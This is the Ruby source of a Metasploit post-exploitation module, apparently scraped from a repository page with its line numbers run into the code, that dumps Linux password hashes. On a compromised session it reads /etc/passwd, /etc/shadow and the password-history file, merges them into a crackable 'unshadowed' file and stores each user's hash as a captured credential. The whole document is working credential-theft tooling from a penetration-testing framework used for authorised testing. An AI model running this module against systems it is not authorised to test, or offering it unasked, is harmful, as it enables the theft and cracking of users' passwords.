Path: blob/master/modules/post/linux/gather/hashdump.rb
31430 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',14'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},15'License' => MSF_LICENSE,16'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],17'Platform' => ['linux'],18'SessionTypes' => ['shell', 'meterpreter'],19'Notes' => {20'Stability' => [CRASH_SAFE],21'SideEffects' => [],22'Reliability' => []23},24'References' => [25[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]26]27)28)29end3031# Run Method for when run command is issued32def run33unless readable?('/etc/shadow')34fail_with Failure::NoAccess, 'Shadow file must be readable in order to dump hashes'35end3637passwd_file = read_file('/etc/passwd')38unless passwd_file.nil?39p = store_loot('linux.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Linux Passwd File')40vprint_good("passwd saved in: #{p}")41end4243shadow_file = read_file('/etc/shadow')44unless shadow_file.nil?45p = store_loot('linux.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Linux Password Shadow File')46vprint_good("Shadow saved in: #{p}")47end4849opasswd_file = read_file('/etc/security/opasswd')50unless opasswd_file.nil?51p = store_loot('linux.passwd.history', 'text/plain', session, opasswd_file, 'opasswd.tx', 'Linux Passwd History File')52vprint_good("opasswd saved in: #{p}")53end5455# Unshadow the files56john_file = unshadow(passwd_file.to_s, shadow_file.to_s)57return if john_file == ''5859john_file.each_line do |l|60hash_parts = l.split(':')61jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]6263if jtr_format.empty? # overide the default64jtr_format = 'des,bsdi,crypt'65end6667credential_data = {68jtr_format: jtr_format,69origin_type: :session,70post_reference_name: refname,71private_type: :nonreplayable_hash,72private_data: hash_parts[1],73session_id: session_db_id,74username: hash_parts[0],75workspace_id: myworkspace_id76}77create_credential(credential_data)78print_good(l.chomp)79end8081# Save passwd file82upasswd = store_loot('linux.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Linux Unshadowed Password File')83print_good("Unshadowed Password File: #{upasswd}")84end8586def unshadow(pf, sf)87unshadowed = ''88sf.each_line do |sl|89pass = sl.scan(/^\w*:([^:]*)/).join9091next if pass == '*'92next if pass == '!'9394user = sl.scan(/(^\w*):/).join95pf.each_line do |pl|96next unless pl.match(/^#{user}:/)9798unshadowed << pl.gsub(/:x:/, ":#{pass}:")99end100end101102unshadowed103end104end105106107